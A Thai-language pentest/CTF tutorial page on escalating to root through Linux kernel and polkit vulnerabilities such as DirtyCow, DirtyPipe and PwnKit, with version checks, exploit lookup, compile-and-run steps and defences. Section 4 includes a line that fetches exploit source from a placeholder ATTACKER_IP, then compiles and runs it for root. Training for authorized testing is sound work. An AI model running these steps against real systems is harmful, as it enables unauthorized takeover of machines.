linux-privesc
Kernel Exploitation
Kernel Exploitation ยกระดับเป็น root โดยใช้ช่องโหว่ใน Linux kernel เอง — ได้ผลเมื่อ kernel เก่า/ไม่ได้ patch บทนี้ลงลึกการระบุเวอร์ชัน, การหา exploit ที่ตรง, ช่องโหว่ดังที่ควรรู้ (DirtyCow, DirtyPipe, PwnKit, OverlayFS), ข้อควรระวังในการรัน, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
Advanced#kernel#linux#privesc#dirtycow#dirtypipe#pwnkit#cve#ctf
1. หลักการและข้อควรระวัง
kernel รันด้วยสิทธิ์สูงสุด — ช่องโหว่ใน kernel ทำให้ user ธรรมดายกระดับเป็น root ได้โดยตรง ใช้ได้เมื่อ kernel เป้าหมายเก่าหรือไม่ได้ patch เป็นทางเลือกเมื่อช่องทางอื่น (SUID/sudo/cron) ไม่มี
kernel exploit เสี่ยงทำให้ระบบ crash/kernel panic — ลองช่องทางอื่นก่อน (misconfiguration), ใช้เป็นทางเลือกท้ายๆ; ในงานจริงต้องระวังเพราะอาจทำ service ล่ม; ทดสอบใน lab/CTF เป็นหลัก
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
2. ระบุเวอร์ชัน + หา exploit
uname → searchsploitLinux
# ระบุ kernel + distro
uname -a # kernel version (เช่น 4.4.0-21)
cat /etc/os-release # distro + version
cat /proc/version
# หา exploit ที่ตรงเวอร์ชัน
searchsploit linux kernel 4.4.0
searchsploit "linux kernel privilege escalation" | grep 4.4
# LinPEAS แนะนำ kernel exploit ให้ (section "Possible Exploits")
# linux-exploit-suggester
./linux-exploit-suggester.sh # วิเคราะห์ kernel + แนะนำ CVE/exploituname -a → เวอร์ชัน; searchsploit/linux-exploit-suggester หา exploit ที่ตรง; LinPEAS แนะนำให้ด้วย
3. ช่องโหว่ดังที่ควรรู้
| ชื่อ / CVE | กระทบ | ลักษณะ |
|---|---|---|
| DirtyCow (CVE-2016-5195) | kernel < 4.8.3 | race condition COW → เขียนไฟล์ readonly |
| DirtyPipe (CVE-2022-0847) | kernel 5.8–5.16 | เขียนไฟล์ readonly ผ่าน pipe → แก้ /etc/passwd |
| PwnKit (CVE-2021-4034) | polkit pkexec (ไม่ใช่ kernel แต่ระบบ) | pkexec → root, กระทบกว้างมาก |
| OverlayFS (CVE-2021-3493) | Ubuntu kernel | overlayfs → root |
| Sequoia (CVE-2021-33909) | kernel < 5.13 | filesystem layer |
| nf_tables (CVE-2024-1086) | kernel 5.14+ | netfilter use-after-free |
PwnKit (pkexec) ไม่ใช่ kernel แต่กระทบ Linux เกือบทุก distro หลายปี — เช็คก่อนเสมอ (
pkexec --version); DirtyPipe ใหม่กว่าและ exploit ง่าย ถ้า kernel อยู่ในช่วง4. Compile และรัน
compile + รัน exploitLinux
# ส่ง exploit เข้าเป้าหมาย (จาก searchsploit หรือ github)
# DirtyPipe ตัวอย่าง:
wget http://ATTACKER_IP/dirtypipe.c -O /tmp/dp.c
gcc /tmp/dp.c -o /tmp/dp # compile บนเป้า (ต้องมี gcc)
/tmp/dp # รัน → root
# ถ้าไม่มี gcc บนเป้า → compile บนเครื่องเรา (arch ตรง) แล้วส่ง binary
# หรือ static compile: gcc -static dp.c -o dp
# PwnKit (pkexec) — มี exploit สำเร็จรูปหลายภาษา
./PwnKit # binary สำเร็จรูป → root
# ตรวจ arch ให้ตรง (x86/x64/ARM)
uname -mต้อง compile ให้ arch ตรง; ไม่มี gcc บนเป้า → compile บนเครื่องเรา (static) แล้วส่ง; ตรวจ exploit ก่อนรันในงานจริง
5. การป้องกัน
- patch/update kernel สม่ำเสมอ — ป้องกันหลักที่สุด
- update package ระบบ (polkit สำหรับ PwnKit)
- ใช้ kernel hardening (grsecurity/KSPP features)
- ปิด feature ที่ไม่ใช้ (user namespaces ถ้าไม่จำเป็น)
- monitor/EDR ตรวจ exploit behavior
- least privilege + ลดช่องทางอื่น (SUID/sudo) ที่นำมาถึงจุดรัน exploit
6. Quick Reference
- ใช้ช่องโหว่ kernel → root; ได้ผลเมื่อ kernel เก่า/ไม่ patch
- เสี่ยง crash — ลองช่องทางอื่นก่อน, ใช้ท้ายๆ
- ระบุ: uname -a, /etc/os-release → searchsploit/linux-exploit-suggester
- ดัง: DirtyCow(<4.8), DirtyPipe(5.8-5.16), PwnKit(pkexec), OverlayFS
- PwnKit เช็คก่อน (กระทบกว้าง); DirtyPipe exploit ง่าย
- compile arch ตรง (static ถ้าไม่มี gcc บนเป้า)
- ป้องกัน: patch kernel/polkit สม่ำเสมอ
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติไล่ SUID/sudo/cron/capability มาหมดแล้วยังไม่เจอทาง (หรือโจทย์บอกใบ้ว่า kernel เก่ามาก) มีแค่ Kali เปล่าๆ ลองมาทางนี้เป็นทางเลือกสุดท้าย — แต่ต้องระวังเพราะเสี่ยงทำระบบ crash ทำตามนี้ทีละขั้น
- 1ก่อนอื่นถามตัวเองว่าลอง SUID/sudo -l/cron/capability มาหมดแล้วจริงหรือยัง (ช่องทางพวกนี้เสี่ยงน้อยกว่ามาก)
- 2พิมพ์ uname -a และ cat /etc/os-release เก็บเวอร์ชัน kernel + distro ไว้
- 3พิมพ์ pkexec --version เช็ค PwnKit ก่อนเป็นอันดับแรก (กระทบ distro เกือบทุกตัวหลายปี)
- 4ถ้าไม่ตรง PwnKit ให้โหลด linux-exploit-suggester.sh เข้าเป้าหมายแล้วรันดู
- 5หรือใช้ searchsploit linux kernel <เวอร์ชันที่ได้> บนเครื่อง Kali หาช่องโหว่ที่ตรง
- 6พิมพ์ uname -m เช็ค architecture ให้ตรงก่อน compile (x86/x64/ARM)
- 7ถ้าเป้าหมายมี gcc ให้ compile ตรงนั้นเลย ถ้าไม่มีให้ compile บนเครื่อง Kali แบบ static แล้วส่งไฟล์ binary เข้าไป
- 8รัน exploit แล้วพิมพ์ id ทันที ถ้าไม่สำเร็จหรือระบบเริ่มค้าง ให้หยุดทันที อย่ารันซ้ำรัวๆ
- 9ถ้าสำเร็จ id ต้องขึ้น uid=0(root)
ก่อนจะใช้ kernel exploit / ถ้าไม่มี CVE ที่ตรงไปทางไหน
ลองช่องทาง misconfiguration (SUID/sudo/cron/capability) มาหมดแล้วหรือยัง?
❌ ยังไม่ได้ลอง→→ กลับไปไล่ SUID/sudo/cron ก่อน เสี่ยงน้อยกว่า
✅ ลองหมดแล้ว ไม่มีทางอื่น→→ มาถึงจุดนี้ค่อยลอง kernel exploit
รัน pkexec --version เช็ค PwnKit ก่อน (กระทบกว้างสุด)
✅ เวอร์ชันช่องโหว่→→ ใช้ PwnKit exploit สำเร็จรูป
❌ ไม่ตรง/patch แล้ว→→ เช็ค linux-exploit-suggester ต่อ
รัน linux-exploit-suggester.sh หรือ searchsploit ตาม kernel version
✅ เจอ CVE ที่ตรง (DirtyPipe/DirtyCow/OverlayFS)→→ ดาวน์โหลด exploit source มาคอมไพล์
❌ ไม่เจอ/kernel ใหม่เกินไม่มี CVE→→ ไม่มี kernel exploit ให้ใช้ กลับไปไล่ vector อื่น
gcc exploit.c -o exploit (เช็ค uname -m ให้ arch ตรง)
./exploit → id เป็น root?
✅ สำเร็จ→→ จบงาน ได้ root
❌ ระบบค้าง/crash หรือไม่ทำงาน→→ หยุดทันที ห้ามลองซ้ำรัวๆ ในงานจริงต้องแจ้งทีม
ไม่มี gcc บนเป้าหมาย → compile บนเครื่องเรา (arch ตรง, static) แล้วส่งไฟล์
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ระบุ kernel/distro version | uname -a, cat /etc/os-release | - | - |
| หา exploit ที่ตรง version | searchsploit | linux-exploit-suggester (git clone) | exploit-db.com |
| ดาวน์โหลด exploit source | wget, curl | - | github.com (ค้นชื่อ CVE) |
| compile exploit ให้ตรง arch | gcc, uname -m | - | - |
| ส่งไฟล์/binary เข้าเป้าหมาย | python3 -m http.server, wget | - | - |
| เช็ค PwnKit เฉพาะ | pkexec --version | - | - |
| enumeration อัตโนมัติแนะนำ exploit | - | linpeas | - |
🚑 ก่อนจะมาถึงหัวข้อนี้ควรลองท่าที่เสี่ยงน้อยกว่าให้ครบก่อนเสมอ (kernel exploit เสี่ยง crash): Linux Enumeration (เก็บข้อมูลครบหรือยัง) · SUID/SGID · Capabilities · Cron Jobs · LinPEAS (สแกนอัตโนมัติแนะนำ CVE ให้ด้วย) — ใช้ kernel exploit เฉพาะเมื่อไล่หมดแล้วจริงๆ
หัวข้อที่เชื่อมโยง
Linux Enumerationอยู่ใน workflowLinux Capabilitiesอยู่ใน workflowLinPEASอยู่ใน workflowDocker / Container Escapeอยู่ใน workflowSUID Binariesอยู่ใน workflowLinPEAS Playbookเครื่องมือเดียวกันCron Jobsหัวข้อใกล้เคียงWritable Scripts & Filesหัวข้อใกล้เคียงPATH Hijackingหัวข้อใกล้เคียงNFS no_root_squashหัวข้อใกล้เคียงSGID Binariesหัวข้อใกล้เคียงWinPEASหัวข้อใกล้เคียง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้